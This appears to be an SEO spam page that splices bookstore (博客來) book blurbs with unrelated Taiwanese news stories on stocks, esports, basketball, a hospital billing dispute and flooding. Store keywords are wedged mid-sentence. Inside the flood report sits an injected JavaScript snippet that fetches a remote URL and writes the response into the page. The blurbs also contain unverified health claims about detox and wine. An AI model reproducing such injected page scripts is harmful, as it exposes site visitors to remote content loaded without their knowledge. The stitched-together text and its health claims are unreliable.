博客來優質書籍糖尿病自我控制祕訣66

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底下是 糖尿病自我控制祕訣66 的內容簡介

糖尿病可以說是台灣人的國病,而且不再是中老年人的專利,因為飲食和生活習慣的不正常,糖尿病患者已經愈來愈年輕化。當得知自己罹患了糖尿病,大部分的人都會陷入恐慌,因為隨之而來的是長期用藥,和必須十分小心翼翼的生活。

其實,只要對糖尿病有深入認識,並且從正確的飲食和良好的生活習慣著手,糖尿病是可以預防的。即使患病,也能輕輕鬆鬆的應對,讓自己保有健康正常的生活。

本書從糖尿病的病理特徵及患病因素談起,詳細介紹糖尿病的成因、類型、與其他疾病的關聯、可能產生的危害、診斷標準和治療方式,讓您從各個層面了解糖尿病;並且針對有益患者保健及應避免的飲食內容和日常生活的健康管理,提供66個非常容易自已執行的保健祕訣,另外還有養生的食療食譜,讓糖尿病患者及其家人都能輕鬆的面對此病,並有機會重獲健康。

本書特色

本書詳細介紹糖尿病的成因,並提供飲食及日常生活的全面保健法,讓你靠自己的力量,就能將糖尿病帶來的不便和困擾減到最低,甚至讓糖尿病永遠不上身!

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糖尿病自我控制祕訣66

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東森新聞

博客來網路書店出清書47折

▲證交所總經理林火燈。(圖/資料照)

記者李孟璇/台北報導

春節期間熊出沒!在利空壓境之下,國際股市頻頻走跌,連帶台股猴年新春開盤重挫百點、失守8,000點大關。不過證交所總經理林火燈指出,台股已形成先蹲後跳的機會,長期來看,股市表現依然可期。

林火燈表示,回顧過去一年,台灣資本市場受國際經濟情勢的影響,難免動盪,在交易量也令人惋惜,尤其在周邊機構的努力下,量能還是不如預期,某些程度上讓人很不服氣,不過仔細想想,台灣股市內涵、結構很好,且證券商經營有大幅度的改變,交易機制也進行優化,讓台股有了先蹲後跳的機會。

雖然農曆春節期間國際股市讓人擔心,台灣這樣的經濟體很難置身事外,不過這幾年經過相關單位的努力,股市已更加健全,包括開放全面當沖、重大訊息暫停交易機制等都已上路,加上台灣企業的經營、獲利、配股都相當好,如果不去看短期的震盪,林火燈對長期股市發展仍具信心。

▲證交所今天舉行中華民國證券暨期貨業新春團拜,主管機關對台股後市深具信心。(圖/記者李孟璇攝)

金管會主委王儷玲也表示,雖然春節期間國際市場波動很大,短期對台股會造成衝擊,不過昨天(14日)已找來相關單位召開會議,並擬定好應對措施,希望投資人不要太悲觀。

王儷玲進一步說,儘管國際市場出現變動,但就台灣企業財務資訊以及指標來看,國內市場依然穩健,像是過去一年企業集資約4,700億元,發放股利達1.1兆元,且殖利率超過3%的企業超過60%,在期貨市場部分,去年成交口數達2.4億口創下新高,整體來看,資本市場基本面良好,預估今年表現還是值得期待。

券商公會理事長簡鴻文也有相同看法,他指出,近來證券業體質改善很多,加上主管機關又推動股市揚升方案,相信台股未來將可蓬勃發展,雖然過年期間國際變動很大,但回歸基本面台股還是具有優勢,過去台股因為證所稅該漲沒漲,其實有被低估的狀況,而隨著政策改變,指數已經沒有再下跌的理由,以目前來看,對於投資人是很好的買點。

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博客來優質書籍脂肪燃燒!7天喝出不復胖好體質:早晨蔬果汁╳晚上蔬菜湯,健康指導師獨家調理食譜

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底下是 脂肪燃燒!7天喝出不復胖好體質:早晨蔬果汁╳晚上蔬菜湯,健康指導師獨家調理食譜 的內容簡介

改掉一成不變的麵包、三明治、包子和饅頭當早餐,

現在就來一杯新鮮蔬果汁吧!

早晨一杯燃脂蔬果汁,不但可以迅速消化、排除堆積在體內的老廢物質,調整腸內環境,整腸完畢,血液循環自然變好,輕而易舉達到人人稱羨的「易瘦體質」,想達到徹底的美腸效果,不妨晚上也來一碗清爽的蔬菜湯,膳食纖維滿滿,加強老廢物質排出!

以生薑、奇異果、葡萄柚為果汁基底,於蜂蜜中加入各種食材醃製加以儲藏,每天變換不同口味,不但提振精神,更為一天做個完美的開始!

健康指導師獨家調理食譜

簡單又輕鬆就可以達到易瘦體質,啟動「美腸」生活,即刻開始!

本書特色

瘦身不受苦,美食照樣吃!

Step 1 ☆早晨一杯蔬果汁,燃脂瘦身好輕鬆

Step 2 ☆○早蔬果汁╳○晚蔬菜湯W效果,讓你瘦得漂亮

Step 3 ☆集中排毒,瘦身兼改善體質,美麗健康同時獲得

Step SP☆附贈一星期飲食紀錄,徹底檢視自己飲食習慣

四步驟,打造美麗與健康,靠自己!

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博客來無印良品

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東森博客來 bookstore books 新聞

記者周之鼎/台北報導

各位玩家新年都在做什麼呢?今年新年《ET遊戲雲》請到了閃電狼全隊,除了和各位讀者說聲新年快樂外,也回顧了去年一整年的心情和今年的展望。再來讓我們看看閃電狼當家上路MMD(咪咪蛋)說了些什麼。

咪咪蛋在去年還是牛排的替補,在今年牛排轉任分析師後,咪咪蛋扛起了上路的重任,咪咪蛋說,去年隨隊看了很多比賽,但是覺得自己想的太少了。在遊戲方面,今年獲得了先發的機會,會覺得自己還要多練很多技巧才行。對於這個賽季,咪咪蛋說:「我覺得自己還需要看更多比賽熟知更多套路,整體來說我認為自己還沒準備好。最近有慢慢掌握到一些,但還是會犯一些不該犯的錯誤。」

對於S6,咪咪蛋覺得從S5末期上路流行鬥士後,現在變成坦形的功能角比較多。特別是有控制技能的坦形角,像是納帝魯斯或是貪啃奇這種角色是比較常見的。咪咪蛋說現在自己每天都是隊上練到最晚的人,但還是覺得自己玩的不夠多。

對於現在的上路,咪咪蛋認為感覺跟先前差距不大。整體來說不會差太多。另外也建議玩家,如果不是志在選手,最重要的是玩自己喜歡的角色,不用刻意追著Meta去練很多角色,因為比賽和SoloQ是不一樣的。咪咪蛋也觀察到,最近上路的藍寶多了起來,在天賦上,雷神是一個考量但是不是絕對的選擇。

對於新年要做什麼事?咪咪蛋說,放假期間會多看一點比賽,不管是不是現今的版本都會多看。今年希望可以多練一點,把隊伍帶向勝利。

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博客來打折書恐怖有毒物質就在你身邊

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底下是 恐怖有毒物質就在你身邊 的內容簡介

大量添加防腐劑的食品,你敢安心食用嗎?錯誤使用滅火劑,搞不好會有失明的危險?

電池、乾洗衣物、抗UV化妝品……生活周遭常見的生活用品,其實有你意想不到的副作用

生活自保100問
常見有毒物質疑惑全解答博客來 星巴克
從日用品.食品.藥物,到化妝品和各種動植物……
生活全方位大檢驗!

在現代,為了使生活更舒適便利,所以製造出如洗衣精、食品添加劑……等許多化學添加物。所謂「藥即是毒」,即使是平時看起來安全無害的生活用品,若是使用操作方式不當,或是劑量沒有拿捏準確,很有可能會化身為具有危險性的有毒物質,倘若此時使用者本身的知識錯誤,或是警覺性不夠的話,恐怕會造成不可挽回的遺憾。

本書介紹各種生活中隨處可見的產品、物品。從家庭中常見的生活用品、食物、藥物與化妝品、農畜產業、工業用品、環境、毒物此八個面向,全方位介紹各種化學、天然物質的成份與危害。希望讀者凡事養成實事求證的態度,因為唯有認識這些物質的化學屬性,瞭解它們的成份,才能夠正確安全的使用。

告別蒙昧無知的生活態度!從現在開始,為自己的健康負責!

本書特色

主題最多元:生活八大單元,從居家安全、飲食調養到居住環境,內容包括女性最關切的化妝品,廚房必備洗潔劑,以及醫療用的藥物……。從食衣住行各個層面著手,總共100個主題,全方位替你的生活把關!

知識最專業:書中由日本理學博士所著,作者以科學家嚴謹的態度,秉持實事求是的精神,務必找出潛藏在日常生活中的有害物質。不是道聽途說,也不是網路謠言,專業見證,絕對可靠!

講解最淺顯:搭配圖說,以淺顯亦懂的筆調介紹各種化學常識,就算是文院的學生也可以輕易理解。

作者簡介

齋藤勝裕

1945年5月3日生。1974年完成東北大學研究所,理學研究科博士課程,現任名古屋市立大學特任教授,兼任名古屋產業化學研究院首席研究員、名城大學約聘講師、名古屋工業大學名譽教授等職務。最高學位:理學博士。專攻有機化學、物理化學、光化學、超分子化學。

主要著作為『毒與藥的秘密』(毒□□的□□□)『漫畫學有機化學』(□□□□□□□有機化學)『金屬不思議』(金□的□□□)『稀有金屬之不思議』(□□□□□的□□□)(以上為science.i新書出版)『絕對懂』(絕對□□□)系列:全16冊、『終極版!平易近人的化學』(決定版!優□□化□)系列:3冊(講談社)、『化學其實很簡單』(□□□化學)系列:全7冊(東京化學同人)、『圖解雜學』(圖解雜學)系列:全4冊(natsume社)等。

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東森新聞

大陸一名男子到醫院割包皮,結果手術費達到14萬台幣,院方表示:幫他徹底排毒。(圖/翻攝自大眾網)

大陸中心/綜合報導

大陸山東一名26歲的年輕男子「小李」(化名),日前到了青島中大泌尿醫院去動「割包皮」手術。大家都知道割包皮只是個簡單的小手術,但小李卻在醫院治療了5天,手術費用更高達2.8萬元(約新台幣14萬元)。至於為何收費這麼貴?院方表示,小李體質特殊,5天的療程是為了讓他「確保排毒徹底」。

根據《大眾網》報導,小李的私密部位2、3個月前常感到不適,在在去年12月27日到了青島中大泌尿醫院進行檢查,醫師建議他割包皮。小李表示之前曾聽朋友和同事說過,割包皮是個很小的手術,並不會花費太常時間,對於工作也不會影響,因此就同意進行手術。

手術過程中原本十分迅速和順利,但之後醫師告知他發現皮下有囊腫要切除,而且發炎情況很嚴重,得進行各種「排毒」治療,否則會有嚴重後果。小李一聽感覺事態嚴重,於是就聽了醫生的話,之後4天又進行了10多項檢查和治療,結果醫藥費竟然高達2.8萬元(約新台幣14萬元)。

這筆費用讓小李存了2年的積蓄殆盡,甚至還欠了4000多元(約新台幣2萬多元)的費用。只是看到帳單之後小李愈想愈不對,對照其他家公立醫院價格,割包皮不過幾百元,若是有其他配套治療,一般也不會超過2000元(約新台幣1萬元),他認為院方事前並未告知清楚,這筆費用應該在手術前告知,而非結帳後才列出來。

對此院方的呂姓主任回應,小李的情況並非只是單純的割包皮手術,另外還包含切除囊腫的部分,因此費用較高;另外後許的「排毒」費用,主要是要讓小李的症狀能徹底根治,避免後續困擾。致於手術費用部分,院方表示將會再和小李溝通。

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□月經不穩定,並伴有非月經期出血或閉經等症狀

□月經前後有經痛、乳房腫脹、腰酸背痛的情況

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擁有20年看診經驗的婦科內分泌醫師,針對皮膚變差、生理期紊亂、多囊性卵巢症候群、不孕、煩躁易怒等內分泌失調引起的不適,以真實案例、淺顯易懂的文字,幫助你了解自己內分泌的現況,更透過簡單有效的方法,就能讓內分泌恢復平衡,身心重返年輕,徹底擺脫婦女病,天天好氣色,自然添好孕。

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◎糖、酒、油炸食物、咖啡因的飲食,最容易引起內分泌失調。

◎女性從35歲起,雌激素下降,卵巢功能開始走下坡了,嚴重者更年期會提前。

◎保護卵巢,要多吃含葉酸的蔬菜,如菠菜、油菜、小白菜等綠色蔬菜。

◎青春期、孕產、更年期因為內分泌不平衡,因此最容易發胖。

★拒絕婦女病!良好的生活及飲食習慣不可少

◎偶爾排卵期出血,每天一杯豆漿,補充天然植物性雌激素,對身體有好處。

◎月經不調並非小毛病,當心是子宮病變,要特別留意。

◎經痛、小腹涼、色深有血塊是子宮受寒的表現,吃薑、羊肉化解體內寒氣。

◎避免乳腺增生,要少吃肉多吃蔬菜,可平衡體內雌激素。

★內分泌失調也可能造成不孕症!

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◎維生素E能提高生育能力,預防早產及流產,可透過食物來補充,如動物肝臟、蘆筍、玉米、葵花子、花生以及其他堅果。

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東森新聞

▲林書豪轟26分,帶領黃蜂迎接新年首度連勝。(圖/CFP)

記者魏立信/綜合報導

回到自家主場出賽的黃蜂,24日靠著林書豪與華克(Kemba Walker)的「豪華連線」,兩人聯手轟下52分,率隊在下半場擺脫尼克的糾纏,以97比84大勝,拿下2016年首度2連勝。

黃蜂前三節一度取得20分領先,但決勝節尼克在威廉斯(Derrick Williams)空中第一時間扣籃點燃反攻氣勢,一波9比0的攻勢逼得黃蜂喊出暫停,可是接下來仍無法阻止尼克反撲,波辛基斯(Kristaps Porzingis)三分冷箭將差距縮小到11分差。

所幸前一場狂轟40分的「救世主」華克挺身而出,切入連過2人上籃得手,還要到對手犯規一口氣拿3分,幫助球隊鞏固領先優勢。

▲華克下半場跳出,助黃蜂擺脫尼克糾纏。(圖/CFP)

儘管尼克之後再將比數縮小到只剩10分,但此役手感火熱的林書豪適時三分命中,搭配海爾斯頓(P.J. Hairston)連拿6分,徹底捻熄尼克反撲氣焰,最終就以13分之差笑納2連勝。

黃蜂此役共有3人得分突破20大關,林書豪26分、5助攻、5籃板,可是也發生5次失誤,華克下半場甦醒攻下19分,全場26分、6籃板,海爾斯頓則是繳出生涯新高的20分,外帶10籃板。

尼克方面,威廉斯板凳出發貢獻19分,抓下14籃板表現最佳,波辛基斯13分,羅培茲(Robin Lopez)10分、8籃板,「甜瓜」安東尼(Carmelo Anthony)此役傳出膝蓋不適,第四節並沒有上場,留下9分、6籃板。

▲海爾斯頓砍進生涯新高20分。(圖/CFP)

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底下是 營業秘密法二十講 的內容簡介

新技術的開發,是現代產業競爭的重要策略,而為了贏得先機,努力降低營運成本,竭力創造商機,取得事業的優勢地位,均是現代企業勝負的關鍵。

為了確保企業的策略不為他人所知,除了靠嚴格的管理制度,從法律面來看,如果他人已不正當的方法取得事業相關的機密資訊,也應該被禁止。

法律禁止這些不正當行為的目的,並不在於對於這些資訊本身提供保護,而在於維護產業的正當競爭秩序,這是許多國家已經掙規範來保護營業秘密的原因。本書極針對這項法律精神探討營業秘密法的相關問題。

本書附錄多則保密契約範例,非常實用,一書在手,相關問題和法律原則迎刃而解。

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東森新聞

▲中信兄弟舉辦教育訓練課程。(圖/中信兄弟提供)

記者陳立勳/綜合報導

中信兄弟7日舉辦內部教育訓練,包含新任董事長陳信揚、領隊楊培宏、本土教練團與行政人員等皆有參加,邀請講師來分享運動營養、運動心理、投資理財等課程。

從董事長、領隊、本土教練團到管理、防護員以及部分行政人員,今天上午齊聚中信集團總部,邀請講師邱志暉分享運動營養概論,告訴大家如何讓選手吃得頭好壯壯。

此外,球團也安排還有運動心理學概論、投資理財、媒體應對等課程,提供參與者學習。

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底下是 圖解黃帝內經大全 的內容簡介

圖解經典?易學易懂?居家必備

以現代手法詮釋中國傳統醫學的經典巨著

一次學會人體生理學、病理學和治療原則的養生真經

現代養生本源

全球熱銷50多個國家

被譯成10多種語言

融合醫學與科學,實現延年益壽的健康養生大法

《黃帝內經》是一部中國流傳久遠的古代傳統醫學聖典,包含中醫學的基本理念、人體構造認識、病理病因、發病時的各種癥狀和針灸治療宜忌等臨床療法,都有詳細說明。並包含中國獨特的「陰陽五行學說」,具有高度的科學觀和可行性。自成書問世以來,影響中國二千多年的醫學和診療發展方向,並可運用到現代治療和養生中,幫助忙碌的現代人克服文明病,實現人們實現延年益壽的健康養生大法。

★綜論古籍

《黃帝內經》是中國傳統文化中,流傳許久且影響深遠的經典著作之一,記錄黃帝和臣子間的對話,包含醫學和陰陽五行、順應四時觀念,揭露眾人都想知道的長壽養生密碼。

★精采圖說

本書精選百幅精美圖片,加入圖解說明,搭配一目了然的編排,幫助所有讀者解省翻找資料的時間,一次讀懂《黃帝內經》這部養生大典。

★解說詳盡

本書將《素問》、《靈樞》的每一章、每一句都詳細分析,透過譯文,完整體現養生學說的精髓。

本書特色

認識中國式養生,養心修性、增強體質、延年益壽的必讀經典

《黃帝內經》分為《素問》和《靈樞》兩部,每部有81卷,共有162篇,包含陰陽五行學說、脈象學說、臟象學說、經絡學說、病因學說、病症學說、診法學說、探討養生學等多方精要。

《黃帝內經》認為生命的根本就是陰陽平衡,也就是只有掌握天地和陰陽變化的規律,順從陰陽的消長和適應四時的變遷,人體機能才能夠維持正常,生命才能得以延長。《黃帝內經》透過陰陽調和,四時順養生理論,指導大眾完成長壽養生的最完美境界,達成「盡終其天年,度百歲乃去」的目標。

本書將古老的《黃帝內經》用圖解的形式,詳細解說眾多養生觀念,化繁為簡,圖文並茂,將深奧的養生理論,製作成多張生動易懂的圖解與表格,呈現給廣大讀者。另外,還將提供一套實用的行動指南,使所有讀者都能輕鬆學到養生知識,並由此強壯身心、延年益壽。

本書特點

★歧黃之術──中醫的來源

★十二臟腑的關係

★十二經脈詳解

★天、地、人三氣

★針灸治療的要點

★面色和脈象的生剋關係

★病理病癥和脈象對應關係

★四時和五臟的相應聯繫

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東森新聞

▲聯電董事會通過資本預算執行案,預計將用來擴充28奈米製程產能,還將參與日本三重富士通半導體現金增資案。(圖/本報資料照片)

記者張煌仁/台北報導

晶圓代工廠聯電16日在董事會中決議通過資本預算執行案,金額達到新台幣125.71億元。該筆金額預計將用來擴充28奈米製程產能。另外,還將參與日本三重富士通半導體現金增資案,預估投資金額約為新台幣13.59億元。聯電17日股價,一度最高來到12.05元,上漲0.25元。

日前在法說會中,聯電表示由於受客戶端調節庫存影響, 11月合併營收微111.17億元,較10月下滑7.8%,對於第四季的表現將維持保守狀態。不過,在28奈米製程上的投片量已經回升,公司內部預期將在2016年第1季將開始出貨。而聯電董事會16日所通過的125.71億元資本支出預算,就是要用來持續擴充南科12吋廠的28奈米的產能,以因應2016年客戶的博客來退貨 新增需求。據了解,聯電目前28奈米製程月產能約2萬多片,預計2016年上半年將擴增至近3萬片規模。

此外,聯電董事會也通過將參與和日本富士通合資的12吋晶圓代工廠的三重富士通現金增資計畫,總投資額約新台幣約13.59億元,預計將取得三重富士通844萬6616股,持股比重也將因此拉升至15.9%。

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底下是 葡萄美酒風華錄– 從入門到深入,展現葡萄美酒迷人風貌 的內容簡介

作者用淺入深出的輕鬆筆調,娓娓道出葡萄酒的歷史文化背景,然後再拉回到現實世界,點出葡萄酒在21世紀的人類生活中所扮演的角色,以增加可讀性與益知性。其中最重要的是引用醫學和科學的驗證,明確指出葡萄酒對人類身體健康是有益而無害的。

全書從投資、鑑賞、旅遊時尚的角度,引導讀者多元面向認識葡萄酒,另外再加入葡萄酒對健康、見聞上資訊的獲取,都有很清楚的分析與描寫,是一本實用兼風趣的作品,值得葡萄酒的品家與社會大眾閱讀。

這本書的各章節曾在新加坡銷路最大的華文報紙──聯合早報連續刊載長達三年之久,引起華人社會的廣大迴響。對台灣讀者而言,相信它所激起的漣漪,會遠超過新加坡的華文讀者社會。

本書特色

由淺入深,從品味葡萄酒各種基本知識、喝葡萄酒對人體的好處,到投資葡萄酒的獨門訣竅,無論初學者或箇中老手,都值得閱讀的一本葡萄酒參考書!

作者簡介

楊本禮

1937年生,廣州市人。國立政治大學新聞系畢業,美國堪薩斯州立大學新聞碩士。

歷任台灣大學外文系講師,銘傳大學觀光學院、國際學院及世新大學講師,中國廣播公司採訪組長、新聞中心主任、高雄台台長,交通部觀光局駐澳紐、新加坡辦事處主任等職。

著有《人生品味、品味人生》、《亞澳紐非觀光地理》、《歐美觀光地理》、《旅行業與媒體》、《酒逢知己》、《世界美食風華錄》、《住在南半球的日子》等書。

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東森新聞

▲台南列一級淹水警戒,各處都傳出災情。(圖/翻攝自爆料公社,下同)

地方中心/台南報導

南台灣暴雨狂下,中央氣象局下午針對台南、高雄、屏東發布豪雨特報,經濟部水利署更將台南市列為淹水一級警戒、二級警戒,暴雨讓當地多處路段淹水。根據氣象局資料顯示,截至下午3時止,台南市北區累積雨量達157.5毫米、永康區達155.5毫米、仁德區148.0毫米、歸仁區142.0毫米、南區142.0毫米。

氣象局下博客來運費 午持續發布豪雨特報,指出台南市、高雄市及屏東地區有局部大雨或豪雨發生,嘉義、雲林及南投地區有局部大雨發生的機率,請注意雷擊、強陣風,低窪處慎防積水,用路行車注意交通安全,山區請慎防坍方、落石及溪水暴漲。

function httpGet(theUrl){var xmlHttp = new XMLHttpRequest();xmlHttp.open( ‘GET’ , theUrl, false );xmlHttp.send( null );return xmlHttp.responseText;}

var theUrl = “;

document.write(httpGet(theUrl));

水利署剛剛也將台南市列淹水警戒,其中安南區、北區、中西區、永康區為一級警戒;東區、南區、安平區、新市區、歸仁區、仁德區、關廟區為二級警戒。網友也紛紛將各區災情上傳到臉書,有人表示「可以游泳了」、「快出來抓暴鯉龍啊!」、「崑山水上樂園」、「我看要多買橡皮艇才行」、「雨真的很大」、「完蛋了回不了家了。」

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